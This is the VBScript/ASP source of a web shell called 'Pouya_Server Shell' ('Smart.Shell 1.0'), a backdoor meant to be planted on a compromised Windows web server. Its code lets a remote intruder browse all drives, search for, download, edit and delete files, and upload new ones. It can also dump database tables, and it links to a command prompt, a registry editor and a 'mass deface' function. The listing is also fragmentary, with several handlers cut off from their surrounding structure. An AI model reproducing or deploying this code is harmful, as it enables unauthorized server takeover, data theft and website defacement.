Professional Documents
Culture Documents
Encode%>
<%//**Start Encode
On Error Resume Next
Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE
Server.ScriptTimeOut = 7200
Class FileUploader
Public Files
Private mcolFormElem
Private Sub Class_Initialize()
Set Files = Server.CreateObject("Scripting.Dictionary")
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
End Sub
Private Sub Class_Terminate()
If IsObject(Files) Then
Files.RemoveAll()
Set Files = Nothing
End If
If IsObject(mcolFormElem) Then
mcolFormElem.RemoveAll()
Set mcolFormElem = Nothing
End If
End Sub
Public Property Get Form(sIndex)
Form = ""
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.I
tem(LCase(sIndex))
End Property
Public Default Sub Upload()
Dim biData, sInputName
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
Dim nPosFile, nPosBound
biData = Request.BinaryRead(Request.TotalBytes)
nPosBegin = 1
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
nDataBoundPos = InstrB(1, biData, vDataBounds)
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteStrin
g("--"))
nPos = InstrB(nDataBoundPos, biData, CByteString("Conten
t-Disposition"))
nPos = InstrB(nPos, biData, CByteString("name="))
nPosBegin = nPos + 6
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))
)
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd
-nPosBegin))
nPosFile = InstrB(nDataBoundPos, biData, CByteString("fi
lename="))
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
If nPosFile <> 0 And nPosFile < nPosBound Then
Dim oUploadFile, sFileName
Set oUploadFile = New UploadedFile
nPosBegin = nPosFile + 10
nPosEnd = InstrB(nPosBegin, biData, CByteString
(Chr(34)))
sFileName = CWideString(MidB(biData, nPosBegin,
nPosEnd-nPosBegin))
oUploadFile.FileName = Right(sFileName, Len(sFil
eName)-InStrRev(sFileName, "\"))
nPos = InstrB(nPosEnd, biData, CByteString("Cont
ent-Type:"))
nPosBegin = nPos + 14
nPosEnd = InstrB(nPosBegin, biData, CByteString(
Chr(13)))
oUploadFile.ContentType = CWideString(MidB(biDat
a, nPosBegin, nPosEnd-nPosBegin))
nPosBegin = nPosEnd+4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds)
- 2
oUploadFile.FileData = MidB(biData, nPosBegin, n
PosEnd-nPosBegin)
If oUploadFile.FileSize > 0 Then Files.Add LCase
(sInputName), oUploadFile
Else
nPos = InstrB(nPos, biData, CByteString(Chr(13))
)
nPosBegin = nPos + 4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds)
- 2
If Not mcolFormElem.Exists(LCase(sInputName)) Th
en mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosE
nd-nPosBegin))
End If
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds)
, biData, vDataBounds)
Loop
End Sub
Private Function CByteString(sString)
Dim nIndex
For nIndex = 1 to Len(sString)
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
Next
End Function
Private Function CWideString(bsString)
Dim nIndex
CWideString =""
For nIndex = 1 to LenB(bsString)
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))
)
Next
End Function
End Class
Class UploadedFile
Public ContentType
Public FileName
Public FileData
Public Property Get FileSize()
FileSize = LenB(FileData)
End Property
Public Sub SaveToDisk(sPath)
Dim oFS, oFile
Dim nIndex
If sPath = "" Or FileName = "" Then Exit Sub
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
If Not oFS.FolderExists(sPath) Then Exit Sub
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
For nIndex = 1 to LenB(FileData)
oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
Next
oFile.Close
End Sub
Public Sub SaveToDatabase(ByRef oField)
If LenB(FileData) = 0 Then Exit Sub
If IsObject(oField) Then
oField.AppendChunk FileData
End If
End Sub
End Class
startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>"
endocde = "</body></html>"
onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programme
r.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
Function HexConv(hexVar)
Dim hxx, hxx_var, multiply
IF hexVar <> "" THEN
hexVar = UCASE(hexVar)
hexVar = StrReverse(hexVar)
DIM hx()
REDIM hx(LEN(hexVar))
hxx = 0
hxx_var = 0
FOR hxx = 1 TO LEN(hexVar)
IF multiply = "" THEN multiply = 1
hx(hxx) = mid(hexVar,hxx,1)
hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
multiply = (multiply * 16)
NEXT
hexVar = hxx_var
HexConv = hexVar
END IF
End Function
cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 © BY <a href='m
ailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r\/3R</a> ::.</font>"
Function get_hxno(ghx)
If ghx = "A" Then
ghx = 10
ElseIf ghx = "B" Then
ghx = 11
ElseIf ghx = "C" Then
ghx = 12
ElseIf ghx = "D" Then
ghx = 13
ElseIf ghx = "E" Then
ghx = 14
ElseIf ghx = "F" Then
ghx = 15
End If
get_hxno = ghx
End Function
keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 © BY <a href='mailt
o:'>P0Uy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>"
Function showobj(objpath)
showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function showobjpath(objpath)
showobjpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function checking(a,b)
' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Req
uest.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_N
AME"))) & "?action=error"
' Response.Redirect(pagina)
' End If
End Function
Sub hdr()
Response.Write startcode
Response.Write keydec
Response.Write "<br>"
End Sub
sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&"\"
If cur = "\\" Then cur = ""
parent = ""
If InStrRev(cur,"\") > 0 Then
parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
End If
Else
cur = ""
End If
Set f = myFSO.GetFolder(cur)
Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = "<font face=webdings size=5><a href='"& Reques
t.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\
","|") &"'>Í</a></font>"
if lcase(ara_)="mdb" then
Response.Write downStr&"<font face=wingdings siz
e=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Re
place(f1.path,"\","|") & "'>û</a></font> * <a href='"& Request.ServerVariables("SC
RIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size
&"]"&"</a></b><br>"
else
Response.Write downStr&"<font face=wingdings siz
e=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Re
place(f1.path,"\","|") & "'>û</a><a href='"& Request.ServerVariables("SCRIPT_NAME"
) & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a hre
f='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1
.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
end if
end if
Next
Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
Sub showcontent()
showdisks=TRUE
Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Reques
t.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PA
TH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br
></font>"
If Trim(Request.QueryString("raiz")) = "root" Then
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set drivecollection=fs.drives
Response.Write "<font face=""arial"" size=""2"">"
For Each drive IN drivecollection
str=drive.driveletter & ":"
Response.Write "<b><a href=""" & Request.ServerVariables
("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
Select Case drive.DriveType
Case 0
tipodrive = "Unknown"
nomedrive = drive.VolumeName
Case 1
tipodrive = "Removable"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 2
tipodrive = "Fixed"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 3
tipodrive = "Network"
If drive.isready Then
nomedrive = drive.ShareName
Else
nomedrive = ""
End If
Case 4
tipodrive = "CD-Rom"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
Case 5
tipodrive = "RAM Disk"
If drive.isready Then
nomedrive = drive.VolumeName
Else
nomedrive = ""
End If
End Select
response.write "<b>Type:</b> " & tipodrive & "<br>"
response.write "<b>Name: </b>" & nomedrive & "<br>"
response.write "<b>File System: </b>"
If drive.isready Then
set sp=fs.getdrive(str)
response.write sp.filesystem & "<br>"
Else
response.write "-<br>"
End If
Response.Write "<b>Disk Space: </b>"
If drive.isready Then
freespace = (drive.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write(Round(freespace,1) & " MB<br>")
Else
response.write("-<br>")
End If
Response.Write "<b>Total Space: </b>"
If drive.isready Then
totalspace = (drive.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write(Round(totalspace,1) & " MB<br>")
Else
response.write("-<br>")
End If
Response.Write "<br>"
Next
Response.Write "</font>"
Set fs = Nothing
Set drivecollection = Nothing
set sp=Nothing
Else
If Trim(Request.QueryString("raiz")) = "" Then
caminho = Server.MapPath(Request.ServerVariables("SCRIPT
_NAME"))
pos = Instr(caminho,"\")
pos2 = 1
While pos2 <> 0
If Instr(pos + 1,caminho,"\") <> 0 Then
pos = Instr(pos + 1,caminho,"\")
Else
pos2 = 0
End If
Wend
raiz = Left(caminho,pos)
Else
raiz = trim(Request.QueryString("raiz")) & "\"
End If
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MonRep = ObjFSO.GetFolder(raiz)
Set ColFolders = MonRep.SubFolders
Set ColFiles0 = MonRep.Files
Response.Write "<font face='arial' size='1'><a href=""#"" onclic
k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act
ion=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,hei
ght=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font>
<br><br>"
Response.Write "<font face='arial' size='1'><a href=""#"" onclic
k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act
ion=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,heig
ht=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font
><br><br>"
Response.Write "<font face='arial' size='1'><a href=""#"" onclic
k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act
ion=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scr
ollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"
Response.Write "<font face='arial' size='1'>"
Response.Write "<a href=""#"" onclick=""javascript:document.open
('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,
height=200,scrollbars=YES,resizable')"">PROMPT</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.o
pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=
760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.o
pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=5
50,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.o
pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Repla
ce(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')""
>SEARCH</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.o
pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','w
idth=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
Response.Write " - <a href=""#"" onclick=""javascript:document.o
pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width
=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
Response.Write "</font><br><br>"
Case "search"
If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryStr
ing("status"))<>"" Then
showdisks=FALSE
status5=Trim(Request.Form("status"))
if status5="" then status5=Trim(Request.QueryString("status"))
SELECT CASE status5
CASE "5"
Response.Write "<center><b><font color=orange>"& Trim(Re
quest.QueryString("path")) &"</font></b></center><br>"
Response.Write "<table width=100% ><tr><td>"
set f = objFSO.OpenTextFile(Trim(Request.QueryString("pa
th")),1)
Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</p
re>"
if err.number=62 then Response.Write "<script language=j
avascript>alert('Bu Dosya Okunamiyor\nSistem dosyasi olabilir')</script>":Respon
se.End
CASE "7":
Response.Write "<b><font size=3>Tables</font></br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Trim(Request.QueryString("pat
h"))
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "<font face=wingdings siz
e=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search
&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&t
able.Name&"</a><br>"
End If
Next
CASE "8":
table=Trim(Request.QueryString("table"))
Response.Write "<font color=red><h4>Table Name: " & tabl
e & "</h4></font><br><Br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Trim(Request.QueryString("pat
h"))
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write "<table border=1 cellpadding=2 cellspacin
g=0 bordercolor=543152><tr bgcolor=silver>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td><font color=black><b> &
nbsp; "&objRcs.Fields(i).Name&" </font></td>"
next
Response.Write "</tr>"
do while not objRcs.EOF
Response.Write "<tr>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td>"&objRcs.Fields(i).V
alue&" </td>"
next
Response.Write "</tr>"
objRcs.MoveNext
loop
Response.Write "</table><br>"
Case "sqlserver"
If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor T
rim(Request.QueryString("status"))<>"" Then
showdisks=FALSE
status5=Trim(Request.Form("status"))
if status5="" then status5=Trim(Request.QueryString("status"))
SELECT CASE status5
CASE "7":
Response.Write "<b><font size=3>Tables</font></br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Trim(Request.QueryString("pat
h"))
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "<font face=wingdings siz
e=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search
&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&t
able.Name&"</a><br>"
End If
Next
CASE "8":
table=Trim(Request.QueryString("table"))
Response.Write "<font color=red><h4>Table Name: " & tabl
e & "</h4></font><br><Br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Trim(Request.QueryString("pat
h"))
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write "<table border=1 cellpadding=2 cellspacin
g=0 bordercolor=543152><tr bgcolor=silver>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td><font color=black><b> &
nbsp; "&objRcs.Fields(i).Name&" </font></td>"
next
Response.Write "</tr>"
do while not objRcs.EOF
Response.Write "<tr>"
for i=0 to objRcs.Fields.count-1
Response.Write "<td>"&objRcs.Fields(i).V
alue&" </td>"
next
Response.Write "</tr>"
objRcs.MoveNext
loop
Response.Write "</table><br>"
END SELECT
Else
showdisks=FALSE
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write "<form method=""post"" target=""_opener"" action=
""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">"
Response.Write "<table cellpadding=0 cellspacing=0 align=center>
<tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td
align=center>"
Response.Write "<input type=hidden value='7' name=status>"
Response.Write "<input style='width:250; height:21' value='' nam
e=path><br>"
response.Write "<input type=submit value='Execute SQL Server Com
mand' style='height:23;width:220' id=submit1 name=submit1>"
Response.Write "</td></tr></table>"
response.Write "</form>"
End IF
Case "about"
showdisks=FALSE
checa = checking(cprthtml,keydec)
Call hdr()
response.Write "<br><br><br><body topmargin=5 leftmargin=0><cent
er><h4>Coded By S3rver"
response.Write "<br><br>"
response.Write "<font size=2 color=Red face='courier new'>WebSit
e: :)</font>"
response.Write "<br>"
response.Write "<font size=2 color=Red face='courier new'>E-Mail
: Pouya.S3rver@Gmail.Com</font>"
response.Write "<br><br>"
response.Write "<font size=2 color=Blue face='courier new'>Hacke
rs, Crackers, Programmers Forever!</font>"
Case Else
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Call showcontent()
End Select
If Err.Number <> 0 Then
Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "
<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied."
End If
Response.Write endcode
if showdisks then
%>
<script language=javascript>
// DRIVE ISLEMLERI
function driveGo(drive_){
location = "?raiz="+drive_+":";
}
</script>
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Response.Write "<br><br><br><table align=center border=1 width=150 cellp
adding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Dr
ives</td></tr>"
for each drive_ in objFSO.Drives
Response.Write "<tr><td>"
Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLe
tter & "');return false;""><font face=wingdings>;</font>"
if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.Dr
iveLetter & ":]"
if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.
DriveLetter & ":]"
if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive
_.DriveLetter & ":]"
if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.Dr
iveLetter & ":]"
Response.Write "</a></td></tr>"
next
Response.Write "<tr><td>"
Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'>
<font face=webdings>H</font> Local Path"
Response.Write "</a></td></tr>"
Response.Write "</table><br>"
end if
%>